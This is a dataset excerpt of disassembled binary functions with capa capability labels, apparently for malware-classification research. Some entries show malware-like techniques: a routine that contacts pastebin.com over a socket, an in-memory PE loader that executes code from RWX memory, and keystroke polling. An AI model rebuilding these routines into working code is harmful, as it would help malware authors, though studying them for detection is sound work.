joyce8/EMBER2024-capa huggingface dataset:
Function at 0x495bf0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x495dcf
sub esp, 0x68
mov eax, dword [esp + 0x6c]
test eax, eax
je 0x495dba
mov ecx, dword [eax]
lea eax, [0x4ce800]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
call dbg.runtime.makeslice
mov eax, dword [esp + 0xc]
mov dword [esp + 0x34], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x20], ecx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x24], edx
lea edi, [esp + 0x38]
xor eax, eax
call fcn.0044b784
lea eax, [0x4cf540]
mov dword [esp], eax
mov ecx, dword [esp + 0x6c]
mov dword [esp + 4], ecx
lea ebp, [esp + 0x38]
mov dword [esp + 8], ebp
call dbg.runtime.mapiterinit
xor eax, eax
jmp 0x495c83
lea eax, [esp + 0x38]
mov dword [esp], eax
call dbg.runtime.mapiternext
mov eax, dword [esp + 0x28]
inc eax
mov ecx, dword [esp + 0x38]
test ecx, ecx
je 0x495cd0
mov ecx, dword [esp + 0x3c]
mov ecx, dword [ecx]
mov edx, dword [ecx + 4]
mov ecx, dword [ecx]
mov ebx, dword [esp + 0x20]
cmp eax, ebx
jae 0x495dc8
mov dword [esp + 0x28], eax
mov ebp, dword [esp + 0x34]
lea esi, [ebp + eax*8 + 4]
mov dword [esi], edx
lea edx, [ebp + eax*8]
mov esi, dword [0x583e20]
test esi, esi
jne 0x495cc2
mov dword [edx], ecx
jmp 0x495c72
mov dword [esp], edx
mov dword [esp + 4], ecx
call dbg.runtime.writebarrierptr
jmp 0x495c72
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
mov edx, dword [esp + 0x24]
mov dword [esp + 8], edx
call dbg.sort.StringSlice.Sort
lea eax, [0x4c2260]
mov dword [esp], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov dword [esp + 8], eax
call dbg.runtime.makeslice
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x1c], ecx
mov edx, dword [esp + 0xc]
mov dword [esp + 0x30], edx
xor ebx, ebx
jmp 0x495d2d
lea ebx, [ecx + 1]
mov eax, edx
mov ecx, dword [esp + 0x1c]
mov edx, ebp
mov ebp, dword [esp + 0x20]
cmp ebx, ebp
jge 0x495daa
mov dword [esp + 0x2c], ebx
mov eax, dword [esp + 0x34]
lea ecx, [eax + ebx*8]
mov edx, dword [ecx + 4]
mov ecx, dword [ecx]
lea ebp, [0x4cf540]
mov dword [esp], ebp
mov esi, dword [esp + 0x6c]
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
cmp ecx, edx
jae 0x495dc1
mov ebx, dword [0x583e20]
mov ebp, dword [esp + 0x30]
lea esi, [ebp + ecx*4]
test ebx, ebx
jne 0x495d8d
mov dword [ebp + ecx*4], eax
jmp 0x495d22
mov dword [esp], esi
mov dword [esp + 4], eax
call dbg.runtime.writebarrierptr
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov ebp, dword [esp + 0x30]
jmp 0x495d22
mov dword [esp + 0x70], edx
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], ecx
add esp, 0x68
ret
xor ecx, ecx
jmp 0x495c17
call dbg.runtime.panicindex
ud2
call dbg.runtime.panicindex
ud2
call dbg.runtime.morestack_noctxt
jmp dbg.flag.sortFlags
Function at 0x10002247
Capabilities:
Create thread

Disassembly:
mov eax, 0x291
push str.ws2_32
mov word [0x10006018], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
call fcn.100022d8
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
xor eax, eax
add esp, 0xc
inc eax
ret

Function at 0x10002440
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10006004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
push 4
mov esi, eax
mov dword [ebp - 0x18], 0x5dc
lea eax, [ebp - 0x18]
push eax
push 0x1006
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push str.pastebin.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x1bb
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
mov word [ebp - 0x14], bx
call dword [sym.imp.WS2_32.dll_connect]
push ecx
push ecx
push dword [sym.imp.WS2_32.dll_recv]
push dword [sym.imp.WS2_32.dll_send]
push esi
call fcn.10001082
add esp, 0x14
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
lea eax, [ebp - 0x1c]
push 0xa
push eax
call fcn.10002305
add eax, 4
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
mov ecx, dword [ebp - 4]
add esp, 0xc
mov dword [edi], eax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10002914
leave
ret

Function at 0x100024ff
Capabilities:
Initialize winsock library

Disassembly:
push esi
mov esi, ecx
push esi
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 2
pop eax
lea ecx, [esi + 0x198]
mov word [esi + 0x194], ax
call fcn.10002440
push 0x1c6d
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 0x196], ax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop esi
test eax, eax
jne 0x1000254f
or ecx, 0xffffffff
call fcn.100023b0
push eax
call fcn.10001f44
pop ecx
ret
Function at 0xb200465
Capabilities:
Hide graphical window
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
pushal
push 0
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [section..data], eax
lea edi, [ebp - 0x30]
mov ecx, 0x30
xor eax, eax
cld
rep stosb byte es:[edi], al
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], 0xb200310
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [section..data]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 6
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str.801869857121
lea eax, [ebp - 0x30]
push eax
call sub.USER32.dll_RegisterClassExA
call sub.KERNEL32.dll_GetLastError
push 0xb20044b
call sub.KERNEL32.dll_LoadLibraryA
mov dword [0xb20172b], eax
push 0xb200458
push dword [0xb20172b]
call sub.KERNEL32.dll_GetProcAddress
mov dword [0xb201733], eax
push 0xb20083a
call sub.KERNEL32.dll_LoadLibraryA
mov dword [0xb201727], eax
push 0xb200845
push dword [0xb201727]
call sub.KERNEL32.dll_GetProcAddress
mov dword [0xb20172f], eax
push 0xb2005e8
push dword [0xb201727]
call sub.KERNEL32.dll_GetProcAddress
mov dword [0xb20171a], eax
push 0xb2005df
push dword [0xb201727]
call sub.KERNEL32.dll_GetProcAddress
mov dword [0xb201737], eax
push 0xb200812
call sub.KERNEL32.dll_LoadLibraryA
mov dword [0xb20171f], eax
push 0xb20081c
push dword [0xb20171f]
call sub.KERNEL32.dll_GetProcAddress
mov dword [0xb201723], eax
push 0
push dword [section..data]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0xb201719
push str.801869857121
push 0
call sub.USER32.dll_CreateWindowExA
mov dword [ebp - 0x34], eax
push 0
push dword [ebp - 0x34]
call sub.USER32.dll_ShowWindow
push dword [ebp - 0x34]
call sub.USER32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x50]
push eax
call sub.USER32.dll_GetMessageA
or eax, eax
je 0xb2005dc
lea eax, [ebp - 0x50]
push eax
call sub.USER32.dll_TranslateMessage
lea eax, [ebp - 0x50]
push eax
call sub.USER32.dll_DispatchMessageA
jmp 0xb2005b5
popal
leave
ret
Function at 0xb200673
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
pushal
mov esi, dword [ebp + 8]
add esi, dword [esi + 0x3c]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
call sub.KERNEL32.dll_VirtualAlloc
test eax, eax
jne 0xb2006ab
push 0x40
push 0x3000
push dword [esi + 0x50]
push 0
call sub.KERNEL32.dll_VirtualAlloc
test eax, eax
je 0xb200719
mov dword [ebp - 4], eax
cld
push esi
mov ecx, dword [esi + 0x54]
mov esi, dword [ebp + 8]
mov edi, dword [ebp - 4]
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop esi
push esi
xor ecx, ecx
mov cx, word [esi + 6]
add esi, 0xf8
mov ebx, dword [ebp - 4]
add ebx, dword [esi + 0xc]
mov eax, dword [ebp + 8]
add eax, dword [esi + 0x14]
push dword [esi + 0x10]
push eax
push ebx
call fcn.0b20071e
add esi, 0x28
loop 0xb2006cb
pop esi
push dword [ebp - 4]
call fcn.0b200733
push dword [ebp - 4]
call fcn.0b2007b1
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 4]
call eax
push 0xffffffffffffffff
call sub.KERNEL32.dll_Sleep
push 0x8000
push 0
push dword [ebp - 4]
mov eax, ebx
test eax, eax
call sub.KERNEL32.dll_VirtualFree
popal
leave
ret 4
Function at 0x4095a0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [0x43420c]
sub esp, 0x100
test eax, eax
jne 0x4095e0
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
neg ax
sbb eax, eax
neg eax
mov dword [0x434204], eax
lea eax, [esp]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov al, byte [esp + 0x14]
xor ecx, ecx
test al, al
sete cl
mov dword [0x434208], ecx
jmp 0x4095f6
mov edx, dword [0x434214]
mov dword [0x434204], edx
mov dword [0x434208], 0
mov eax, dword [0x434210]
test eax, eax
mov eax, dword [esp + 0x104]
je 0x409630
test ah, 0xa0
je 0x40961c
and eax, 0xffff5fff
mov dword [0x434204], 1
jmp 0x409626
mov dword [0x434204], 0
mov dword [0x434208], 0
cmp eax, 0x10
je 0x4096e3
cmp eax, 0xa1
je 0x4096e3
mov ecx, dword [0x434240]
cmp ecx, 7
ja case.default.0x409653
jmp dword [ecx*4 + 0x409714]
push eax
call fcn.00406e80
add esp, 4
add esp, 0x100
ret
push eax
call fcn.00406f70
add esp, 4
add esp, 0x100
ret
push eax
call fcn.00407ca0
add esp, 4
add esp, 0x100
ret
push eax
call fcn.00409200
add esp, 4
add esp, 0x100
ret
push eax
call fcn.00408f80
add esp, 4
add esp, 0x100
ret
push eax
call fcn.00408d00
add esp, 4
add esp, 0x100
ret
push eax
call fcn.00406bf0
add esp, 4
add esp, 0x100
ret
push eax
call fcn.00407ab0
add esp, 4
add esp, 0x100
ret
xor eax, eax
add esp, 0x100
ret
push esi
push 2
call fcn.00423508
mov esi, eax
push esi
mov word [esi], 0
call fcn.004231e8
add esp, 8
test eax, eax
jbe 0x409707
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov eax, esi
pop esi
add esp, 0x100
ret

Function at 0x40d570
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x28
push esi
mov esi, dword [esp + 0x30]
push edi
mov edi, dword [sym.imp.USER32.dll_GetWindowLongA]
push 0xfffffffffffffffa
push esi
mov dword [0x43e0fc], esi
mov dword [esp + 0x10], 0x820
mov dword [esp + 0x14], 0x40d410
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call edi
push 0
push 0
mov dword [esp + 0x20], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push 0
mov dword [esp + 0x24], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0
mov dword [esp + 0x24], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [esp + 0x24], eax
lea eax, [esp + 8]
push eax
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], str.LOGO
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x40d601
pop edi
xor eax, eax
pop esi
add esp, 0x28
ret
push 0
push 0xfffffffffffffffa
push esi
call edi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push eax
push 0
push 0
push 0x14a
push 0x1b8
push 1
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0xa5
push eax
push 0
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0xdc
push eax
push 0x90000000
push 0
push str.LOGO
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
push 8
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
pop edi
mov eax, esi
pop esi
add esp, 0x28
ret
Function at 0x40e200
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x68
mov eax, dword [0x434244]
push ebx
push ebp
mov ebp, dword [esp + 0x74]
lea eax, [eax + eax*4]
lea ecx, [ebp + eax*4]
imul ecx, ecx, 0xc8
push esi
push edi
add ecx, 0xa6a528
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00423280
mov eax, dword [0x4341ec]
add esp, 8
push 0x48
push 0x5a
push eax
mov dword [0x908dd0], 0x40e1f0
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push eax
push 0xc
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0x42c2bc
push 0
push eax
mov dword [esp + 0x1c], eax
call fcn.00405ec0
lea eax, [ebp + ebp*8]
shl eax, 1
push 0x333907
lea ebx, [eax + 0xd5]
push ebx
lea edi, [eax + 0xc3]
push 0x1db
push edi
push 0xeb
call fcn.00405d00
push 0xffffffffffffffff
lea ecx, [esp + 0x38]
push ecx
push 0
push 0xff
push edi
push 0xeb
call fcn.004098b0
call fcn.00405f40
mov edx, dword [0x434244]
mov dword [esp + 0xb4], edx
call fcn.00405ca0
call fcn.0041f360
push 0x333907
push ebx
push 0x1db
push edi
push 0xeb
mov esi, eax
call fcn.00405d00
add esp, 0x4c
cmp esi, 0x1b
je 0x40e459
jmp 0x40e2f0
mov eax, dword [esp + 0x10]
push 0x42c2bc
push 0
push eax
call fcn.00405ec0
add esp, 0xc
cmp esi, 0xfffffffe
jne 0x40e310
mov esi, 0xd
jmp 0x40e355
cmp esi, 0x20
jne 0x40e324
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x40e329
jmp 0x40e355
cmp esi, 0x15
jne 0x40e34c
push 1
lea ecx, [esp + 0x18]
push ecx
push 0
push 0xff
push edi
push 0xeb
call fcn.004098b0
add esp, 0x18
call fcn.00417c20
jmp 0x40e3be
test esi, esi
jle 0x40e3be
cmp esi, 8
je 0x40e374
lea edx, [esp + 0x14]
push edx
call fcn.004231e8
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.00405dc0
add esp, 0xc
cmp eax, 0xc8
jge 0x40e38f
push esi
lea ecx, [esp + 0x18]
push ecx
push 0
push 0xff
push edi
push 0xeb
call fcn.004098b0
add esp, 0x18
cmp esi, 0xd
jne 0x40e3be
lea edx, [esp + 0x14]
push edx
call fcn.004231e8
add esp, 4
cmp eax, 1
jae 0x40e40c
mov eax, dword [0x4596d8]
push 0
push 0x42c4ec
push 0x42c560
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
push ecx
push 0
push 0xff
push edi
push 0xeb
call fcn.004098b0
call fcn.00405f40
call fcn.00405ca0
call fcn.0041f360
push 0x333907
push ebx
push 0x1db
push edi
push 0xeb
mov esi, eax
call fcn.00405d00
add esp, 0x2c
cmp esi, 0x1b
jne 0x40e2f0
jmp 0x40e459
push 0x333907
push ebx
push 0x1db
push edi
push 0xeb
call fcn.00405d00
call fcn.00405ca0
mov eax, dword [esp + 0x90]
lea eax, [eax + eax*4]
lea ecx, [ebp + eax*4]
imul ecx, ecx, 0xc8
lea edx, [esp + 0x28]
push edx
add ecx, 0xa6a528
push ecx
call fcn.00423280
add esp, 0x1c
call fcn.0040dbf0
call fcn.00405f40
mov edx, dword [esp + 0x7c]
push edx
mov dword [0x908dd0], 0x40d750
call fcn.00407c40
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x68
ret
Function at 0x40e640
Capabilities:
Delete file
Move file
Set current directory

Disassembly:
mov eax, dword [0x4596d8]
sub esp, 0x200
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x42c548
push 0x42c5dc
push eax
call esi
cmp eax, 1
jne 0x40e827
mov eax, dword [0x434244]
mov ecx, dword [eax*4 + 0x908dd8]
cmp ecx, 1
jg 0x40e698
mov ecx, dword [0x4596d8]
push 0
push 0x42c548
push 0x42c5c0
push ecx
call esi
pop esi
add esp, 0x200
ret
mov esi, dword [0x4525b4]
cmp esi, ecx
push ebx
push edi
jge 0x40e751
jmp 0x40e6b0
lea edx, [eax + eax*4]
lea edx, [esi + edx*4]
imul edx, edx, 0xc8
lea ebx, [edx + 0xa6a528]
xor eax, eax
mov ecx, 0x32
mov edi, ebx
rep stosd dword es:[edi], eax
lea eax, [edx + 0xa6a5f0]
push eax
push ebx
call fcn.00423280
mov eax, dword [0x434244]
lea ecx, [eax + eax*4]
lea ecx, [esi + ecx*2]
shl ecx, 2
mov edx, dword [ecx + 0x908d5c]
add esp, 8
xor edi, edi
test edx, edx
mov dword [ecx + 0x908d58], edx
jle 0x40e741
lea ecx, [ecx]
lea edx, [eax + eax*4]
lea eax, [esi + edx*4]
imul eax, eax, 0x190
add eax, edi
imul eax, eax, 0xc8
lea ecx, [eax + 0x46cf80]
push ecx
lea edx, [eax + 0x459700]
push edx
call fcn.00423280
mov eax, dword [0x434244]
lea ecx, [eax + eax*4]
add esp, 8
lea edx, [esi + ecx*2]
mov ecx, dword [edx*4 + 0x908d58]
inc edi
cmp edi, ecx
jl 0x40e700
mov ecx, dword [eax*4 + 0x908dd8]
inc esi
cmp esi, ecx
jl 0x40e6b0
push 0x43e8d0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [0x434244]
mov edi, dword [0x4525b4]
cmp edi, dword [eax*4 + 0x908dd8]
jge 0x40e7fa
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileA]
lea esi, [edi + 2]
cmp eax, 1
jne 0x40e7a4
lea eax, [esi - 1]
push eax
lea ecx, [esp + 0x14]
push str.l_han_d.dat
push ecx
call fcn.004231fe
push esi
push str.l_han_d.dat
jmp 0x40e7c1
test eax, eax
jne 0x40e7d1
lea eax, [esi - 1]
push eax
lea ecx, [esp + 0x14]
push str.l_eng_d.dat
push ecx
call fcn.004231fe
push esi
push str.l_eng_d.dat
lea edx, [esp + 0x124]
push edx
call fcn.004231fe
add esp, 0x18
lea eax, [esp + 0x10]
push eax
call ebx
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x114]
push edx
call ebp
mov eax, dword [0x434244]
mov ecx, dword [eax*4 + 0x908dd8]
inc edi
inc esi
cmp edi, ecx
jl 0x40e784
pop ebp
dec dword [eax*4 + 0x908dd8]
call fcn.0040dbf0
mov eax, dword [0x434244]
mov eax, dword [eax*4 + 0x908dd8]
cmp eax, dword [0x4525b4]
pop edi
pop ebx
jg 0x40e822
dec eax
mov dword [0x4525b4], eax
call fcn.0040e000
pop esi
add esp, 0x200
ret
Function at 0x4236b8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0xd68114], esi
push edi
jne 0x4236d8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0xd68110], esi
mov byte [0xd6810c], al
jne 0x42373e
mov ecx, dword [0xd696f4]
test ecx, ecx
je 0x42371f
mov eax, dword [0xd696f0]
sub eax, 4
cmp eax, ecx
jmp 0x423718
mov eax, dword [eax]
test eax, eax
je 0x42370a
call eax
mov eax, dword [0xd696f0]
sub eax, 4
cmp eax, dword [0xd696f4]
mov dword [0xd696f0], eax
jae 0x423702
mov eax, 0x42f020
mov esi, 0x42f028
cmp eax, esi
mov edi, eax
jae 0x42373e
mov eax, dword [edi]
test eax, eax
je 0x423737
call eax
add edi, 4
cmp edi, esi
jb 0x42372f
mov eax, 0x42f02c
mov esi, 0x42f030
cmp eax, esi
mov edi, eax
jae 0x42375d
mov eax, dword [edi]
test eax, eax
je 0x423756
call eax
add edi, 4
cmp edi, esi
jb 0x42374e
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x423777
push dword [ebp + 8]
mov dword [0xd68114], 1
call fcn.0042361e
pop ebp
ret
Function at 0x423e8f
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov ecx, dword [ebp + 0x3a4]
cmp ecx, dword [0xd68580]
mov eax, dword [0x4320d0]
push ebx
push esi
mov dword [ebp + 0x398], eax
push edi
jae 0x424055
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0xd685a0]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x80], ebx
je 0x424055
xor edi, edi
cmp dword [ebp + 0x3ac], edi
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x7c], edi
jne 0x423ef9
xor eax, eax
jmp 0x424069
test al, 0x20
je 0x423f0a
push 2
push edi
push edi
push ecx
call fcn.0042867c
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x423fdf
cmp dword [ebp + 0x3ac], edi
mov eax, dword [ebp + 0x3a8]
mov dword [ebp - 0x70], eax
mov dword [ebp + 0x3a4], edi
jbe 0x424026
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp + 0x3a8]
lea eax, [ebp - 0x6c]
cmp ecx, dword [ebp + 0x3ac]
jae 0x423f6c
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x423f5d
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x80]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x423f3f
mov edi, eax
lea eax, [ebp - 0x6c]
sub edi, eax
push 0
lea eax, [ebp - 0x78]
push eax
push edi
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x423fac
mov eax, dword [ebp - 0x78]
add dword [ebp - 0x74], eax
cmp eax, edi
jl 0x423fb8
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp + 0x3a8]
xor edi, edi
cmp eax, dword [ebp + 0x3ac]
jb 0x423f33
jmp 0x423fba
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
xor edi, edi
mov eax, dword [ebp - 0x74]
cmp eax, edi
jne 0x424050
cmp dword [ebp + 0x3a4], edi
je 0x424026
push 5
pop eax
cmp dword [ebp + 0x3a4], eax
jne 0x424018
mov dword [0xd680cc], eax
jmp 0x42405c
push edi
lea ecx, [ebp - 0x78]
push ecx
push dword [ebp + 0x3ac]
push dword [ebp + 0x3a8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x42400a
mov eax, dword [ebp - 0x78]
mov dword [ebp + 0x3a4], edi
mov dword [ebp - 0x74], eax
jmp 0x423fba
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
jmp 0x423fba
push dword [ebp + 0x3a4]
call fcn.00428305
pop ecx
jmp 0x424066
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x42403e
mov eax, dword [ebp + 0x3a8]
cmp byte [eax], 0x1a
je 0x423ef2
mov dword [0xd680c8], 0x1c
mov dword [0xd680cc], edi
jmp 0x424066
sub eax, dword [ebp - 0x7c]
jmp 0x424069
and dword [0xd680cc], 0
mov dword [0xd680c8], 9
or eax, 0xffffffff
mov ecx, dword [ebp + 0x398]
pop edi
pop esi
pop ebx
call fcn.00427406
add ebp, 0x39c
leave
ret
Function at 0x427624
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
cmp esi, dword [0xd68580]
push edi
jae 0x4277f9
mov eax, esi
sar eax, 5
lea edi, [eax*4 + 0xd685a0]
mov eax, dword [edi]
and esi, 0x1f
shl esi, 3
add eax, esi
mov dl, byte [eax + 4]
test dl, 1
je 0x4277f9
and dword [ebp - 0xc], 0
cmp dword [ebp + 0x10], 0
mov ebx, dword [ebp + 0xc]
mov ecx, ebx
je 0x4276cf
test dl, 2
jne 0x4276cf
test dl, 0x48
je 0x427699
cmp byte [eax + 5], 0xa
je 0x427699
mov eax, dword [edi]
mov al, byte [eax + esi + 5]
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea ecx, [ebx + 1]
mov dword [ebp - 0xc], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push ecx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4276e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop ecx
cmp eax, ecx
jne 0x4276ca
mov dword [0xd680cc], ecx
jmp 0x427800
cmp eax, 0x6d
jne 0x4276d6
xor eax, eax
jmp 0x42780d
push eax
call fcn.00428305
pop ecx
jmp 0x42780a
mov eax, dword [ebp - 0x10]
mov ecx, dword [edi]
add dword [ebp - 0xc], eax
test byte [ecx + esi + 4], 0x80
je 0x4277f4
test eax, eax
je 0x427709
cmp byte [ebx], 0xa
jne 0x427709
mov eax, ecx
lea eax, [eax + esi + 4]
or byte [eax], 4
jmp 0x427712
mov eax, dword [edi]
lea eax, [eax + esi + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
add ecx, eax
cmp eax, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
jae 0x4277ee
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, 0x1a
je 0x4277de
cmp al, 0xd
je 0x427744
mov byte [ebx], al
inc ebx
inc dword [ebp - 8]
jmp 0x4277d0
dec ecx
cmp dword [ebp - 8], ecx
jae 0x42775e
mov eax, dword [ebp - 8]
inc eax
cmp byte [eax], 0xa
jne 0x427759
add dword [ebp - 8], 2
jmp 0x4277b2
mov dword [ebp - 8], eax
jmp 0x4277cc
inc dword [ebp - 8]
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x427786
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4277cc
cmp dword [ebp - 0x10], 0
je 0x4277cc
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x4277a7
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x4277b2
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x4277cf
cmp ebx, dword [ebp + 0xc]
jne 0x4277b7
cmp byte [ebp - 1], 0xa
jne 0x4277b7
mov byte [ebx], 0xa
jmp 0x4277cf
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00428585
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x4277d0
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 0xc]
cmp dword [ebp - 8], ecx
jb 0x427728
jmp 0x4277ee
mov eax, dword [edi]
test byte [eax + esi + 4], 0x40
jne 0x4277ee
lea esi, [eax + esi + 4]
or byte [esi], 2
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 0xc], ebx
mov eax, dword [ebp - 0xc]
jmp 0x42780d
and dword [0xd680cc], 0
mov dword [0xd680c8], 9
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret